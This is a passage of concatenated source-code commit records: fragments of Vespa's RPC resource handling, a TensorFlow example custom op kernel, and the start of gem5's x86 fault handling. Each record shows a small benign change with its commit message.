<vespa\/fastos\/thread.h>\n#include <vespa\/fnet\/frt\/supervisor.h>\n#include <vespa\/fnet\/frt\/target.h>\n#include <vespa\/fnet\/transport.h>\n#include <vespa\/slobrok\/sbregister.h>\n#include <vespa\/slobrok\/sbmirror.h>\n#include <vespa\/vespalib\/util\/exceptions.h>\n#include <vespa\/vespalib\/util\/host_name.h>\n#include <vespa\/vespalib\/util\/stringfmt.h>\n#include <cassert>\n#include <chrono>\n#include <thread>\n\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".storage.shared_rpc_resources\");\n\nusing namespace std::chrono_literals;\n\nnamespace storage::rpc {\n\nnamespace {\n\nclass RpcTargetImpl : public RpcTarget {\nprivate:\n FRT_Target* _target;\n vespalib::string _spec;\n\npublic:\n RpcTargetImpl(FRT_Target* target, const vespalib::string& spec)\n : _target(target),\n _spec(spec)\n {}\n ~RpcTargetImpl() override {\n _target->SubRef();\n }\n FRT_Target* get() noexcept override { return _target; }\n bool is_valid() const noexcept override { return _target->IsValid(); }\n const vespalib::string& spec() const noexcept override { return _spec; }\n};\n\n}\n\nclass SharedRpcResources::RpcTargetFactoryImpl : public RpcTargetFactory {\nprivate:\n FRT_Supervisor& _orb;\n\npublic:\n RpcTargetFactoryImpl(FRT_Supervisor& orb)\n : _orb(orb)\n {}\n std::unique_ptr<RpcTarget> make_target(const vespalib::string& connection_spec) const override {\n auto* raw_target = _orb.GetTarget(connection_spec.c_str());\n if (raw_target) {\n return std::make_unique<RpcTargetImpl>(raw_target, connection_spec);\n }\n return std::unique_ptr<RpcTarget>();\n }\n};\n\nSharedRpcResources::SharedRpcResources(const config::ConfigUri& config_uri,\n int rpc_server_port,\n size_t rpc_thread_pool_size,\n size_t rpc_events_before_wakeup)\n : _thread_pool(std::make_unique<FastOS_ThreadPool>(1024*60)),\n _transport(std::make_unique<FNET_Transport>(fnet::TransportConfig(rpc_thread_pool_size).\n events_before_wakeup(rpc_events_before_wakeup))),\n _orb(std::make_unique<FRT_Supervisor>(_transport.get())),\n _slobrok_register(std::make_unique<slobrok::api::RegisterAPI>(*_orb, slobrok::ConfiguratorFactory(config_uri))),\n _slobrok_mirror(std::make_unique<slobrok::api::MirrorAPI>(*_orb, slobrok::ConfiguratorFactory(config_uri))),\n _target_factory(std::make_unique<RpcTargetFactoryImpl>(*_orb)),\n _hostname(vespalib::HostName::get()),\n _rpc_server_port(rpc_server_port),\n _shutdown(false)\n{ }\n\n\/\/ TODO make sure init\/shutdown is safe for aborted init in comm. mgr.\n\nSharedRpcResources::~SharedRpcResources() {\n if (!_shutdown) {\n shutdown();\n }\n}\n\nvoid SharedRpcResources::start_server_and_register_slobrok(vespalib::stringref my_handle) {\n LOG(debug, \"Starting main RPC supervisor on port %d with slobrok handle '%s'\",\n _rpc_server_port, vespalib::string(my_handle).c_str());\n if (!_orb->Listen(_rpc_server_port)) {\n throw vespalib::IllegalStateException(vespalib::make_string(\"Failed to listen to RPC port %d\", _rpc_server_port),\n VESPA_STRLOC);\n }\n _transport->Start(_thread_pool.get());\n _slobrok_register->registerName(my_handle);\n wait_until_slobrok_is_ready();\n _handle = my_handle;\n}\n\nvoid SharedRpcResources::wait_until_slobrok_is_ready() {\n \/\/ TODO look more closely at how mbus does its slobrok business\n while (_slobrok_register->busy() || !_slobrok_mirror->ready()) {\n \/\/ TODO some form of timeout mechanism here, and warning logging to identify SB issues\n LOG(debug, \"Waiting for Slobrok to become ready\");\n std::this_thread::sleep_for(50ms);\n }\n}\n\nvoid SharedRpcResources::shutdown() {\n assert(!_shutdown);\n if (listen_port() > 0) {\n _slobrok_register->unregisterName(_handle);\n \/\/ Give slobrok some time to dispatch unregister RPC\n while (_slobrok_register->busy()) {\n std::this_thread::sleep_for(10ms);\n }\n }\n _slobrok_register.reset(); \/\/ Implicitly kill any pending slobrok tasks prior to shutting down transport layer\n _transport->ShutDown(true);\n \/\/ FIXME need to reset to break weak_ptrs? But ShutDown should already sync pending resolves...!\n _shutdown = true;\n}\n\nint SharedRpcResources::listen_port() const noexcept {\n return _orb->GetListenPort();\n}\n\nconst RpcTargetFactory& SharedRpcResources::target_factory() const {\n return *_target_factory;\n}\n\n}\n<commit_msg>delay destruction of the slobrok register component<commit_after>\/\/ Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#include \"rpc_target.h\"\n#include \"shared_rpc_resources.h\"\n#include <vespa\/fastos\/thread.h>\n#include <vespa\/fnet\/frt\/supervisor.h>\n#include <vespa\/fnet\/frt\/target.h>\n#include <vespa\/fnet\/transport.h>\n#include <vespa\/slobrok\/sbregister.h>\n#include <vespa\/slobrok\/sbmirror.h>\n#include <vespa\/vespalib\/util\/exceptions.h>\n#include <vespa\/vespalib\/util\/host_name.h>\n#include <vespa\/vespalib\/util\/stringfmt.h>\n#include <cassert>\n#include <chrono>\n#include <thread>\n\n#include <vespa\/log\/log.h>\nLOG_SETUP(\".storage.shared_rpc_resources\");\n\nusing namespace std::chrono_literals;\n\nnamespace storage::rpc {\n\nnamespace {\n\nclass RpcTargetImpl : public RpcTarget {\nprivate:\n FRT_Target* _target;\n vespalib::string _spec;\n\npublic:\n RpcTargetImpl(FRT_Target* target, const vespalib::string& spec)\n : _target(target),\n _spec(spec)\n {}\n ~RpcTargetImpl() override {\n _target->SubRef();\n }\n FRT_Target* get() noexcept override { return _target; }\n bool is_valid() const noexcept override { return _target->IsValid(); }\n const vespalib::string& spec() const noexcept override { return _spec; }\n};\n\n}\n\nclass SharedRpcResources::RpcTargetFactoryImpl : public RpcTargetFactory {\nprivate:\n FRT_Supervisor& _orb;\n\npublic:\n RpcTargetFactoryImpl(FRT_Supervisor& orb)\n : _orb(orb)\n {}\n std::unique_ptr<RpcTarget> make_target(const vespalib::string& connection_spec) const override {\n auto* raw_target = _orb.GetTarget(connection_spec.c_str());\n if (raw_target) {\n return std::make_unique<RpcTargetImpl>(raw_target, connection_spec);\n }\n return std::unique_ptr<RpcTarget>();\n }\n};\n\nSharedRpcResources::SharedRpcResources(const config::ConfigUri& config_uri,\n int rpc_server_port,\n size_t rpc_thread_pool_size,\n size_t rpc_events_before_wakeup)\n : _thread_pool(std::make_unique<FastOS_ThreadPool>(1024*60)),\n _transport(std::make_unique<FNET_Transport>(fnet::TransportConfig(rpc_thread_pool_size).\n events_before_wakeup(rpc_events_before_wakeup))),\n _orb(std::make_unique<FRT_Supervisor>(_transport.get())),\n _slobrok_register(std::make_unique<slobrok::api::RegisterAPI>(*_orb, slobrok::ConfiguratorFactory(config_uri))),\n _slobrok_mirror(std::make_unique<slobrok::api::MirrorAPI>(*_orb, slobrok::ConfiguratorFactory(config_uri))),\n _target_factory(std::make_unique<RpcTargetFactoryImpl>(*_orb)),\n _hostname(vespalib::HostName::get()),\n _rpc_server_port(rpc_server_port),\n _shutdown(false)\n{ }\n\n\/\/ TODO make sure init\/shutdown is safe for aborted init in comm. mgr.\n\nSharedRpcResources::~SharedRpcResources() {\n if (!_shutdown) {\n shutdown();\n }\n}\n\nvoid SharedRpcResources::start_server_and_register_slobrok(vespalib::stringref my_handle) {\n LOG(debug, \"Starting main RPC supervisor on port %d with slobrok handle '%s'\",\n _rpc_server_port, vespalib::string(my_handle).c_str());\n if (!_orb->Listen(_rpc_server_port)) {\n throw vespalib::IllegalStateException(vespalib::make_string(\"Failed to listen to RPC port %d\", _rpc_server_port),\n VESPA_STRLOC);\n }\n _transport->Start(_thread_pool.get());\n _slobrok_register->registerName(my_handle);\n wait_until_slobrok_is_ready();\n _handle = my_handle;\n}\n\nvoid SharedRpcResources::wait_until_slobrok_is_ready() {\n \/\/ TODO look more closely at how mbus does its slobrok business\n while (_slobrok_register->busy() || !_slobrok_mirror->ready()) {\n \/\/ TODO some form of timeout mechanism here, and warning logging to identify SB issues\n LOG(debug, \"Waiting for Slobrok to become ready\");\n std::this_thread::sleep_for(50ms);\n }\n}\n\nvoid SharedRpcResources::shutdown() {\n assert(!_shutdown);\n if (listen_port() > 0) {\n _slobrok_register->unregisterName(_handle);\n \/\/ Give slobrok some time to dispatch unregister RPC\n while (_slobrok_register->busy()) {\n std::this_thread::sleep_for(10ms);\n }\n }\n _transport->ShutDown(true);\n \/\/ FIXME need to reset to break weak_ptrs? But ShutDown should already sync pending resolves...!\n _shutdown = true;\n}\n\nint SharedRpcResources::listen_port() const noexcept {\n return _orb->GetListenPort();\n}\n\nconst RpcTargetFactory& SharedRpcResources::target_factory() const {\n return *_target_factory;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include <cstdint>\n\n#include \"tensorflow\/core\/framework\/op_kernel.h\"\n#include \"tensorflow\/core\/framework\/register_types.h\"\n\n\/\/ Please use the appropriate namespace for your project\nnamespace tensorflow {\nnamespace custom_op_examples {\n\nusing ::tensorflow::OpKernel;\nusing ::tensorflow::OpKernelConstruction;\nusing ::tensorflow::OpKernelContext;\nusing ::tensorflow::Tensor;\nusing ::tensorflow::errors::Internal;\nusing ::tensorflow::errors::InvalidArgument;\n\n\/\/ Multiple types for the values inside two of the input tensors\n\/\/ (e.g. int32, float) are supported by using a template where the type is T.\ntemplate <typename T>\nclass MultiplexDenseOp : public OpKernel {\n public:\n explicit MultiplexDenseOp(OpKernelConstruction* ctx) : OpKernel(ctx) {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"N\", &num_cond_a_));\n }\n\n MultiplexDenseOp(const MultiplexDenseOp& other) = delete;\n MultiplexDenseOp& operator=(const MultiplexDenseOp& other) = delete;\n ~MultiplexDenseOp() override = default;\n\n void Compute(OpKernelContext* ctx) override {\n \/\/ Optional error checking: cond and a_values are lists of N, so there are\n \/\/ a total of 2N+1 inputs. Check that the number of inputs and the\n \/\/ `N` Attr is consistent.\n const int64_t expected_inputs = 2 * num_cond_a_ + 1;\n OP_REQUIRES(ctx, expected_inputs == ctx->num_inputs(),\n Internal(\"expected_inputs != num_inputs(): \", expected_inputs,\n \" != \", ctx->num_inputs()));\n VLOG(1) << \"N \" << num_cond_a_;\n\n const auto& first_cond_tensor = ctx->input(0);\n const auto& first_a_values_tensor = ctx->input(num_cond_a_);\n const auto& b_values_tensor = ctx->input(2 * num_cond_a_);\n\n \/\/ Allow any shape, but require that a_values, b_values, and cond all\n \/\/ have the same shape.\n \/\/ Note that ::tensorflow::TensorShapeUtils has some useful functions\n \/\/ for checking shapes.\n for (int64_t i = 0; i < num_cond_a_; i++) {\n const auto& cond_tensor_i = ctx->input(i);\n const auto& a_values_tensor_i = ctx->input(num_cond_a_ + i);\n OP_REQUIRES(\n ctx, a_values_tensor_i.shape() == b_values_tensor.shape(),\n InvalidArgument(\n \"a_values[\", i,\n \"] and b_values must have the same shape. \"\n \"a_values[\",\n i, \"] shape: \", a_values_tensor_i.DebugString(),\n \" b_values shape: \", b_values_tensor.shape().DebugString()));\n OP_REQUIRES(\n ctx, cond_tensor_i.shape() == b_values_tensor.shape(),\n InvalidArgument(\n \"cond_values[\", i,\n \"] and b_valuesmust have the same shape. \"\n \"cond_values[\",\n i, \"] shape: \", first_a_values_tensor.shape().DebugString(),\n \" b_values shape: \", first_cond_tensor.shape().DebugString()));\n }\n\n \/\/ Create an output tensor\n Tensor* output_tensor = nullptr;\n OP_REQUIRES_OK(\n ctx, ctx->allocate_output(0, b_values_tensor.shape(), &output_tensor));\n auto output = output_tensor->template flat<T>();\n\n const auto b_values = b_values_tensor.flat<T>();\n \/\/ np.select style behavior, `cond` and `a_values` are lists of tensors.\n \/\/ Also works for the np.where style case where there is only one `cond`\n \/\/ and one `a_values` tensor.\n const int64_t N = first_a_values_tensor.NumElements();\n for (int64_t i = 0; i < N; i++) {\n bool flag = false;\n for (int64_t list_index = 0; list_index < num_cond_a_; list_index++) {\n const auto& cond_tensor = ctx->input(list_index);\n const auto& a_values_tensor = ctx->input(num_cond_a_ + list_index);\n const auto cond = cond_tensor.flat<bool>();\n const auto a_values = a_values_tensor.flat<T>();\n if (cond(i)) {\n output(i) = a_values(i);\n flag = true;\n VLOG(1) << \"A \" << list_index << \" for \" << i;\n break;\n }\n }\n if (!flag) {\n output(i) = b_values(i);\n VLOG(1) << \"B for \" << i;\n }\n }\n }\n\n private:\n int64_t num_cond_a_; \/\/ the number of `cond` and `a` input tensors\n};\n\n\/\/ The \"Name\" used by REGISTER_KERNEL_BUILDER is defined by REGISTER_OP,\n\/\/ see multiplex_4_op.cc.\n\/\/ To support tensors containing different types (e.g. int32, float), one\n\/\/ kernel per type is registered and is templatized by the \"T\" attr value.\n\/\/ The TF_CALL_ALL_TYPES macro registers the op for all types appropriate for\n\/\/ the target platform. See go\/tf-custom-ops-guide\n#define REGISTER_KERNELS(type) \\\n REGISTER_KERNEL_BUILDER(Name(\"Examples>MultiplexDense\") \\\n .Device(::tensorflow::DEVICE_CPU) \\\n .TypeConstraint<type>(\"T\"), \\\n MultiplexDenseOp<type>)\n\nTF_CALL_ALL_TYPES(REGISTER_KERNELS);\n#undef REGISTER_KERNELS\n\n} \/\/ namespace custom_op_examples\n} \/\/ namespace tensorflow\n<commit_msg>use 'template' keyword to treat 'flat' as a dependent template name in multiplex_4<commit_after>\/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include <cstdint>\n\n#include \"tensorflow\/core\/framework\/op_kernel.h\"\n#include \"tensorflow\/core\/framework\/register_types.h\"\n\n\/\/ Please use the appropriate namespace for your project\nnamespace tensorflow {\nnamespace custom_op_examples {\n\nusing ::tensorflow::OpKernel;\nusing ::tensorflow::OpKernelConstruction;\nusing ::tensorflow::OpKernelContext;\nusing ::tensorflow::Tensor;\nusing ::tensorflow::errors::Internal;\nusing ::tensorflow::errors::InvalidArgument;\n\n\/\/ Multiple types for the values inside two of the input tensors\n\/\/ (e.g. int32, float) are supported by using a template where the type is T.\ntemplate <typename T>\nclass MultiplexDenseOp : public OpKernel {\n public:\n explicit MultiplexDenseOp(OpKernelConstruction* ctx) : OpKernel(ctx) {\n OP_REQUIRES_OK(ctx, ctx->GetAttr(\"N\", &num_cond_a_));\n }\n\n MultiplexDenseOp(const MultiplexDenseOp& other) = delete;\n MultiplexDenseOp& operator=(const MultiplexDenseOp& other) = delete;\n ~MultiplexDenseOp() override = default;\n\n void Compute(OpKernelContext* ctx) override {\n \/\/ Optional error checking: cond and a_values are lists of N, so there are\n \/\/ a total of 2N+1 inputs. Check that the number of inputs and the\n \/\/ `N` Attr is consistent.\n const int64_t expected_inputs = 2 * num_cond_a_ + 1;\n OP_REQUIRES(ctx, expected_inputs == ctx->num_inputs(),\n Internal(\"expected_inputs != num_inputs(): \", expected_inputs,\n \" != \", ctx->num_inputs()));\n VLOG(1) << \"N \" << num_cond_a_;\n\n const auto& first_cond_tensor = ctx->input(0);\n const auto& first_a_values_tensor = ctx->input(num_cond_a_);\n const auto& b_values_tensor = ctx->input(2 * num_cond_a_);\n\n \/\/ Allow any shape, but require that a_values, b_values, and cond all\n \/\/ have the same shape.\n \/\/ Note that ::tensorflow::TensorShapeUtils has some useful functions\n \/\/ for checking shapes.\n for (int64_t i = 0; i < num_cond_a_; i++) {\n const auto& cond_tensor_i = ctx->input(i);\n const auto& a_values_tensor_i = ctx->input(num_cond_a_ + i);\n OP_REQUIRES(\n ctx, a_values_tensor_i.shape() == b_values_tensor.shape(),\n InvalidArgument(\n \"a_values[\", i,\n \"] and b_values must have the same shape. \"\n \"a_values[\",\n i, \"] shape: \", a_values_tensor_i.DebugString(),\n \" b_values shape: \", b_values_tensor.shape().DebugString()));\n OP_REQUIRES(\n ctx, cond_tensor_i.shape() == b_values_tensor.shape(),\n InvalidArgument(\n \"cond_values[\", i,\n \"] and b_valuesmust have the same shape. \"\n \"cond_values[\",\n i, \"] shape: \", first_a_values_tensor.shape().DebugString(),\n \" b_values shape: \", first_cond_tensor.shape().DebugString()));\n }\n\n \/\/ Create an output tensor\n Tensor* output_tensor = nullptr;\n OP_REQUIRES_OK(\n ctx, ctx->allocate_output(0, b_values_tensor.shape(), &output_tensor));\n auto output = output_tensor->template flat<T>();\n\n const auto b_values = b_values_tensor.template flat<T>();\n \/\/ np.select style behavior, `cond` and `a_values` are lists of tensors.\n \/\/ Also works for the np.where style case where there is only one `cond`\n \/\/ and one `a_values` tensor.\n const int64_t N = first_a_values_tensor.NumElements();\n for (int64_t i = 0; i < N; i++) {\n bool flag = false;\n for (int64_t list_index = 0; list_index < num_cond_a_; list_index++) {\n const auto& cond_tensor = ctx->input(list_index);\n const auto& a_values_tensor = ctx->input(num_cond_a_ + list_index);\n const auto cond = cond_tensor.template flat<bool>();\n const auto a_values = a_values_tensor.template flat<T>();\n if (cond(i)) {\n output(i) = a_values(i);\n flag = true;\n VLOG(1) << \"A \" << list_index << \" for \" << i;\n break;\n }\n }\n if (!flag) {\n output(i) = b_values(i);\n VLOG(1) << \"B for \" << i;\n }\n }\n }\n\n private:\n int64_t num_cond_a_; \/\/ the number of `cond` and `a` input tensors\n};\n\n\/\/ The \"Name\" used by REGISTER_KERNEL_BUILDER is defined by REGISTER_OP,\n\/\/ see multiplex_4_op.cc.\n\/\/ To support tensors containing different types (e.g. int32, float), one\n\/\/ kernel per type is registered and is templatized by the \"T\" attr value.\n\/\/ The TF_CALL_ALL_TYPES macro registers the op for all types appropriate for\n\/\/ the target platform. See go\/tf-custom-ops-guide\n#define REGISTER_KERNELS(type) \\\n REGISTER_KERNEL_BUILDER(Name(\"Examples>MultiplexDense\") \\\n .Device(::tensorflow::DEVICE_CPU) \\\n .TypeConstraint<type>(\"T\"), \\\n MultiplexDenseOp<type>)\n\nTF_CALL_ALL_TYPES(REGISTER_KERNELS);\n#undef REGISTER_KERNELS\n\n} \/\/ namespace custom_op_examples\n} \/\/ namespace tensorflow\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2007 The Hewlett-Packard Development Company\n * All rights reserved.\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder. You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2003-2007 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *\/\n\n#include \"arch\/x86\/generated\/decoder.hh\"\n#include \"arch\/x86\/faults.hh\"\n#include \"arch\/x86\/isa_traits.hh\"\n#include \"base\/trace.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"debug\/Faults.hh\"\n#include \"sim\/full_system.hh\"\n\nnamespace X86ISA\n{\n void X86FaultBase::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n if (!FullSystem) {\n FaultBase::invoke(tc, inst);\n return;\n }\n\n PCState pcState = tc->pcState();\n Addr pc = pcState.pc();\n DPRINTF(Faults, \"RIP %#x: vector %d: %s\\n\",\n pc, vector, describe());\n using namespace X86ISAInst::RomLabels;\n HandyM5Reg m5reg = tc->readMiscRegNoEffect(MISCREG_M5_REG);\n MicroPC entry;\n if (m5reg.mode == LongMode) {\n if (isSoft()) {\n entry = extern_label_longModeSoftInterrupt;\n } else {\n entry = extern_label_longModeInterrupt;\n }\n } else {\n entry = extern_label_legacyModeInterrupt;\n }\n tc->setIntReg(INTREG_MICRO(1), vector);\n tc->setIntReg(INTREG_MICRO(7), pc);\n if (errorCode != (uint64_t)(-1)) {\n if (m5reg.mode == LongMode) {\n entry = extern_label_longModeInterruptWithError;\n } else {\n panic(\"Legacy mode interrupts with error codes \"\n \"aren't implementde.\\n\");\n }\n \/\/ Software interrupts shouldn't have error codes. If one\n \/\/ does, there would need to be microcode to set it up.\n assert(!isSoft());\n tc->setIntReg(INTREG_MICRO(15), errorCode);\n }\n pcState.upc(romMicroPC(entry));\n pcState.nupc(romMicroPC(entry) + 1);\n tc->pcState(pcState);\n }\n\n std::string\n X86FaultBase::describe() const\n {\n std::stringstream ss;\n ccprintf(ss, \"%s\", mnemonic());\n if (errorCode != (uint64_t)(-1)) {\n ccprintf(ss, \"(%#x)\", errorCode);\n }\n\n return ss.str();\n }\n \n void X86Trap::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n X86FaultBase::invoke(tc);\n if (!FullSystem)\n return;\n\n \/\/ This is the same as a fault, but it happens -after- the\n \/\/ instruction.\n PCState pc = tc->pcState();\n pc.uEnd();\n }\n\n void X86Abort::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n panic(\"Abort exception!\");\n }\n\n void\n InvalidOpcode::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n if (FullSystem) {\n X86Fault::invoke(tc, inst);\n } else {\n panic(\"Unrecognized\/invalid instruction executed:\\n %s\",\n inst->machInst);\n }\n }\n\n void PageFault::invoke(ThreadContext * tc, StaticInstPtr inst)\n {\n if (FullSystem) {\n HandyM5Reg m5reg = tc->readMiscRegNoEffect(MISCREG_M5_REG);\n X86FaultBase::invoke(tc);\n \/*\n * If something bad happens while trying to enter the page fault\n * handler, I'm pretty sure that's a double fault and then all\n * bets are off. That means it should be safe to update this\n * state now.\n *\/\n if (m5reg.mode == LongMode) {\n tc->setMiscReg(MISCREG_CR2, addr);\n } else {\n tc->setMiscReg(MISCREG_CR2, (uint32_t)addr);\n }\n } else {\n PageFaultErrorCode code = errorCode;\n const char *modeStr = \"\";\n if (code.fetch)\n modeStr = \"execute\";\n else if (code.write)\n modeStr = \"write\";\n else\n modeStr = \"read\";\n panic(\"Tried to %s unmapped address %#x.\\n\", modeStr, addr);\n }\n }\n\n std::string\n PageFault::describe() const\n {\n std::stringstream ss;\n ccprintf(ss, \"%s at %#x\", X86FaultBase::describe(), addr);\n return ss.str();\n }\n\n void\n InitInterrupt::invoke(ThreadContext *tc, StaticInstPtr inst)\n {\n DPRINTF(Faults, \"Init interrupt.\\n\");\n \/\/ The otherwise unmodified integer registers should be set to 0.\n for (int index = 0; index < NUM_INTREGS; index++) {\n tc->setIntReg(index, 0);\n }\n\n CR0 cr0 = tc->readMiscReg(MISCREG_CR0);\n CR0 newCR0 = 1 << 4;\n newCR0.cd = cr0.cd;\n newCR0.nw = cr0.nw;\n tc->setMiscReg(MISCREG_CR0, newCR0);\n tc->setMiscReg(MISCREG_CR2, 0);\n tc->setMiscReg(MISCREG_CR3, 0);\n tc->setMiscReg(MISCREG_CR4, 0);\n\n tc->setMiscReg(MISCREG_RFLAGS, 0x0000000000000002ULL);\n\n tc->setMiscReg(MISCREG_EFER, 0);\n\n SegAttr dataAttr = 0;\n dataAttr.dpl = 0;\n dataAttr.unusable = 0;\n dataAttr.defaultSize = 0;\n dataAttr.longMode = 0;\n dataAttr.avl = 0;\n dataAttr.granularity = 0;\n dataAttr.present = 1;\n dataAttr.type = 3;\n dataAttr.writable = 1;\n dataAttr.readable = 1;\n dataAttr.expandDown = 0;\n dataAttr.system = 1;\n\n for (int seg = 0; seg != NUM_SEGMENTREGS; seg++) {\n tc->setMiscReg(MISCREG_SEG_SEL(seg), 0);\n tc->setMiscReg(MISCREG_SEG_BASE(seg), 0);\n tc->setMiscReg(MISCREG_SEG_EFF_BASE(seg), 0);\n tc->setMiscReg(MISCREG_SEG_LIMIT(seg), 0xffff);\n tc->setMiscReg(MISCREG_SEG_ATTR(seg), dataAttr);\n }\n\n SegAttr codeAttr = 0;\n codeAttr.dpl = 0;\n codeAttr.unusable = 0;\n codeAttr.defaultSize = 0;\n codeAttr.longMode = 0;\n codeAttr.avl = 0;\n codeAttr.granularity = 0;\n codeAttr.present = 1;\n codeAttr.type = 10;\n codeAttr.writable = 0;\n codeAttr.readable = 1;\n codeAttr.expandDown = 0;\n codeAttr.system = 1;\n\n tc->setMiscReg(MISCREG_CS, 0xf000);\n tc->setMiscReg(MISCREG_CS_BASE,\n 0x00000000ffff0000ULL);\n tc->setMiscReg(MISCREG_CS_EFF_BASE,\n 0x00000000ffff0000ULL);\n \/\/ This has the base value pre-added.\n tc->setMiscReg(MISCREG_CS_LIMIT, 0xffffffff);\n tc->setMiscReg(MISCREG_CS_ATTR, codeAttr);\n\n PCState pc(0x000000000000fff0ULL + tc->readMiscReg(MISCREG_CS_BASE));\n tc->pcState(pc);\n\n tc->setMiscReg(MISCREG_TSG_BASE, 0);\n tc->setMiscReg(MISCREG_TSG_LIMIT, 0xffff);\n\n tc->setMiscReg(MISCREG_IDTR_BASE, 0);\n tc->setMiscReg(MISCREG_IDTR_LIMIT, 0xffff);\n\n tc->setMiscReg(MISCREG_TSL, 0);\n tc->setMiscReg(MISCREG_TSL_BASE, 0);\n tc->setMiscReg(MISCREG_TSL_LIMIT, 0xffff);\n tc->setMiscReg(MISCREG_TSL_ATTR, 0);\n\n tc->setMiscReg(MISCREG_TR, 0);\n tc->setMiscReg(MISCREG_TR_BASE, 0);\n tc->setMiscReg(MISCREG_TR_LIMIT, 0xffff);\n tc->setMiscReg(MISCREG_TR_ATTR, 0);\n\n \/\/ This value should be the family\/model\/stepping of the processor.\n \/\/ (page 418). It should be consistent with the value from CPUID, but\n \/\/ the actual value probably doesn't matter much.\n tc->setIntReg(INTREG_RDX, 0);\n\n tc->setMiscReg(MISCREG_DR0, 0);\n tc->setMiscReg(MISCREG_DR1, 0);\n tc->setMiscReg(MISCREG_DR2, 0);\n tc->setMiscReg(MISCREG_DR3, 0);\n\n tc->setMiscReg(MISCREG_DR6, 0x00000000ffff0ff0ULL);\n tc->setMiscReg(MISCREG_DR7, 0x0000000000000400ULL);\n\n \/\/ Update the handy M5 Reg.\n tc->setMiscReg(MISCREG_M5_REG, 0);\n MicroPC entry = X86ISAInst::RomLabels::extern_label_initIntHalt;\n pc.upc(romMicroPC(entry));\n pc.nupc(romMicroPC(entry) + 1);\n tc->pcState(pc);\n }\n\n void\n StartupInterrupt::invoke(ThreadContext *tc, StaticInstPtr inst)\n {\n DPRINTF(Faults, \"Startup interrupt with vector %#x.\\n\", vector);\n HandyM5Reg m5Reg = tc->readMiscReg(MISCREG_M5_REG);\n if (m5Reg.mode != LegacyMode || m5Reg.submode != RealMode) {\n panic(\"Startup IPI recived outside of real mode. \"\n \"Don't know what to do. %d, %d\", m5Reg.mode, m5Reg.submode);\n }\n\n tc->setMiscReg(MISCREG_CS, vector << 8);\n tc->setMiscReg(MISCREG_CS_BASE, vector << 12);\n tc->setMiscReg(MISCREG_CS_EFF_BASE, vector << 12);\n \/\/ This has the base value pre-added.\n tc->setMiscReg(MISCREG_CS_LIMIT, 0xffff);\n\n tc->pcState(tc->readMiscReg(MISCREG_CS_BASE));\n }\n} \/\/ namespace X86ISA\n\n<commit_msg>x86: Initialize the MXCSR register<commit_after>\/*\n * Copyright (c) 2007 The Hewlett-Packard Development Company\n * All rights reserved.\n *\n * The license below extends only to copyright in the software and shall\n * not be construed as granting a license to any other intellectual\n * property including but not limited to intellectual property relating\n * to a hardware implementation of the functionality of the software\n * licensed hereunder. You may use the software subject to the license\n * terms below provided that you ensure that this notice is replicated\n * unmodified and in its entirety in all distributions of the software,\n * modified or unmodified, in source code or in binary form.\n *\n * Copyright (c) 2003-2007 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in 